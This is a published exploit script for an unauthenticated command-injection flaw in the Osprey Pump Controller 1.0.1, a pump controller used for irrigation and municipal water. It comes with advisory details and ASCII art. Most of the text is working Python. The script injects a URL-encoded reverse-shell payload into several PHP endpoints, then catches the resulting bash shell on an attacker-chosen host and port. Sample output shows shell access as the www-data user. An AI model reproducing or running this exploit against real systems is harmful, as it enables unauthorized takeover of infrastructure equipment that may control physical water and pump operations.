Headline
Osprey Pump Controller 1.0.1 Unauthenticated Remote Code Execution
Osprey Pump Controller version 1.0.1 unauthenticated remote code execution exploit.
#!/usr/bin/env python### Osprey Pump Controller 1.0.1 Unauthenticated Remote Code Execution Exploit### Vendor: ProPump and Controls, Inc.# Product web page: https://www.propumpservice.com | https://www.pumpstationparts.com# Affected version: Software Build ID 20211018, Production 10/18/2021# Mirage App: MirageAppManager, Release [1.0.1]# Mirage Model 1, RetroBoard II### Summary: Providing pumping systems and automated controls for# golf courses and turf irrigation, municipal water and sewer,# biogas, agricultural, and industrial markets. Osprey: door-mounted,# irrigation and landscape pump controller.## Technology hasn't changed dramatically on pump and electric motors# in the last 30 years. Pump station controls are a different story.# More than ever before, customers expect the smooth and efficient# operation of VFD control. Communications—monitoring, remote control,# and interfacing with irrigation computer programs—have become common# requirements. Fast and reliable accessibility through cell phones# has been a game changer.## ProPump & Controls can handle any of your retrofit needs, from upgrading# an older relay logic system to a powerful modern PLC controller, to# converting your fixed speed or first generation VFD control system to# the latest control platform with communications capabilities.## We use a variety of solutions, from MCI-Flowtronex and Watertronics# package panels to sophisticated SCADA systems capable of controlling# and monitoring networks of hundreds of pump stations, valves, tanks,# deep wells, or remote flow meters.## User friendly system navigation allows quick and easy access to all# critical pump station information with no password protection unless# requested by the customer. Easy to understand control terminology allows# any qualified pump technician the ability to make basic changes without# support. Similar control and navigation platform compared to one of the# most recognized golf pump station control systems for the last twenty# years make it familiar to established golf service groups nationwide.# Reliable push button navigation and LCD information screen allows the# use of all existing control panel door switches to eliminate the common# problems associated with touchscreens.## Global system configuration possibilities allow it to be adapted to# virtually any PLC or relay logic controlled pump stations being used in# the industrial, municipal, agricultural and golf markets that operate# variable or fixed speed. On board Wi-Fi and available cellular modem# option allows complete remote access.## Desc: The controller suffers from an unauthenticated command injection# vulnerability that allows system access with www-data permissions.## ----------------------------------------------------------------------# Triggering command injection...# Trying vector: /DataLogView.php# Operator...?# You got a call from 192.168.3.180:54508# www-data@OspreyController:/var/www/html$ id;pwd# uid=33(www-data) gid=33(www-data) groups=33(www-data)# /var/www/html# www-data@OspreyController:/var/www/html$ exit# Zya!# ----------------------------------------------------------------------## Tested on: Apache/2.4.25 (Raspbian)# Raspbian GNU/Linux 9 (stretch)# GNU/Linux 4.14.79-v7+ (armv7l)# Python 2.7.13 [GCC 6.3.0 20170516]# GNU gdb (Raspbian 7.12-6) 7.12.0.20161007-git# PHP 7.0.33-0+deb9u1 (Zend Engine v3.0.0 with Zend OPcache v7.0.33)### Vulnerability discovered by Gjoko 'LiquidWorm' Krstic# Macedonian Information Security Research and Development Laboratory# Zero Science Lab - https://www.zeroscience.mk - @zeroscience### Advisory ID: ZSL-2023-5754# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2023-5754.php### 05.01.2023## o o# O O# o o# o o#_____________________\ /# ||# ||# ||from time import sleepimport pygame.midi #---#import subprocess #---#import threading #-----#import telnetlib #-----#import requests #-------#import socket #-----------#import pygame #-----------#import random #-----------#import sys #---------------#import re #-----------------####### # #-----------------#class Pump__it__up: def __init__(self): self.sound=False self.param="eventFileSelected" self.vector=["/DataLogView.php?"+self.param, "/AlarmsView.php?"+self.param, "/EventsView.php?"+self.param, "/index.php"] # POST self.payload=None self.sagent="Tic" self.rhost=None self.lhost=None self.lport=None def propo(self): if len(sys.argv)!=4: self.kako() else: self.presh() self.rhost=sys.argv[1] self.lhost=sys.argv[2] self.lport=int(sys.argv[3]) if not "http" in self.rhost: self.rhost="http://{}".format(self.rhost) def kako(self): self.pumpaj() print("Ovakoj: python {} [RHOST:RPORT] [LHOST] [LPORT]".format(sys.argv[0])) exit(0) def pumpaj(self): titl=""" .-. | \\ | / \\ ,___| | \\ / ___( ) L '-` | | | | | F | | / | | | | ____|_|____ [___________] ,,,,,/,,,,,,,,,,,,,\\,,,,,o-------------------------------------o Osprey Pump Controller RCE Rev Shel_ v1.0j Ref: ZSL-2023-5754 by lqwrm, 2023o-------------------------------------o """ print(titl) def injekcija(self): self.headers={"Accept":"*/*", "Connection":"close", "User-Agent":self.sagent, "Cache-Control":"max-age=0", "Accept-Encoding":"gzip,deflate", "Accept-Language":"en-US,en;q=0.9"} self.payload =";"######################################################" self.payload+="/usr/bin/python%20-c%20%27import%20socket,subprocess,os;" self.payload+="s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.con" self.payload+="nect((%22"+self.lhost+"%22,"+str(self.lport)+"));os.dup2" self.payload+="(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno()," self.payload+="2);import%20pty;%20pty.spawn(%22/bin/bash%22)%27"#######" print("Triggering command injection...") for url in self.vector: if url=="/index.php": print("Trying vector:",url) import urllib.parse self.headers["Content-Type"]="application/x-www-form-urlencoded" self.postdata={"userName":urllib.parse.unquote(self.payload), "pseudonym":"251"} r=requests.post(self.rhost+url,headers=self.headers,data=self.postdata) if r.status_code == 200: break else: print("Trying vector:",url[:-18]) r=requests.get(self.rhost+url+"="+self.payload,headers=self.headers) print("Code:",r.status_code) if r.status_code == 200: print('Access Granted!') break def netcat(self): import nclib server = nclib.TCPServer(("0.0.0.0",int(self.lport))) print("Operator...?") server.sock.settimeout(7) for client in server: print("You got a call from %s:%d" % client.peer) command="" while command!="exit": if len(command)>0: if command in client.readln().decode("utf-8").strip(" "): pass data = client.read_until('$') print(data.decode("utf-8"), end="") command = input(" ") client.writeln(command) print("Zya!") exit(1) def rasplet(self): if self.sound: konac1=threading.Thread(name="Pump_Up_The_Jam_1",target=self.entertain) konac1.start() konac2=threading.Thread(name="Pump_Up_The_Jam_2",target=self.netcat) konac2.start() self.injekcija() def presh(self): titl2=""" _______________________________________ / \\| {###################################} || {## Osprey Pump Controller ##} || {## RCE 0day ##} || {## ##} || {## ZSL-2023-5754 ##} || {###################################} || || 80 90 100 || 70 ^ 120 || 60 * /|\ * 140 || 55 | 160 || | || | || (O) (+) (O) | \_______________________________________/ """ print(titl2) def entertain(self): pygame.midi.init() midi_output=pygame.midi.Output(0) notes=[ (74,251),(86,251),(76,251),(88,251),(84,251),(72,251),(69,251),(81,251), (83,251),(71,251),(67,251),(79,251),(74,251),(62,251),(64,251),(76,251), (72,251),(60,251),(69,251),(57,251),(59,251),(71,251),(55,251),(67,251), (62,251),(50,251),(64,251),(52,251),(48,251),(60,251),(57,251),(45,251), (47,251),(59,251),(45,251),(57,251),(56,251),(44,251),(43,251),(55,251), (67,251),(43,251),(55,251),(79,251),(71,251),(74,251),(55,251),(59,251), (62,251),(63,251),(48,251),(64,251),(72,251),(52,251),(55,251),(60,251), (64,251),(43,251),(55,251),(72,251),(60,251),(64,251),(55,251),(58,251), (72,251),(41,251),(53,251),(60,251),(57,251),(52,251),(40,251),(72,251), (76,251),(84,251),(55,251),(60,251),(77,251),(86,251),(74,251),(75,251), (78,251),(87,251),(79,251),(43,251),(76,251),(88,251),(72,251),(84,251), (76,251),(60,251),(55,251),(86,251),(74,251),(77,251),(52,251),(88,251), (79,251),(76,251),(43,251),(83,251),(74,251),(71,251),(86,251),(74,251), (77,251),(59,251),(53,251),(55,251),(76,251),(84,251),(48,251),(72,251), (52,251),(55,251),(60,251),(52,251),(55,251),(60,251),(55,251),(59,251), (62,251),(63,251),(64,251),(48,251),(72,251),(60,251),(52,251),(55,251), (64,251),(43,251),(55,251),(72,251),(64,251),(55,251),(58,251),(60,251), (72,251),(41,251),(53,251),(60,251),(57,251),(40,251),(52,251),(72,251), (51,251),(81,251),(39,251),(69,251),(67,251),(79,251),(72,251),(38,251), (50,251),(78,251),(66,251),(72,251),(69,251),(81,251),(50,251),(72,251), (54,251),(57,251),(84,251),(60,251),(76,251),(88,251),(50,251),(74,251), (86,251),(84,251),(54,251),(57,251),(60,251),(72,251),(69,251),(81,251)] channel=0 velocity=124 for note, duration in notes: midi_output.note_on(note, velocity, channel) duration=59 pygame.time.wait(random.randint(100,301)) pygame.time.wait(duration) midi_output.note_off(note, velocity, channel) del midi_output pygame.midi.quit() def main(self): self.propo() self.rasplet() exit(1)if __name__=='__main__': Pump__it__up().main()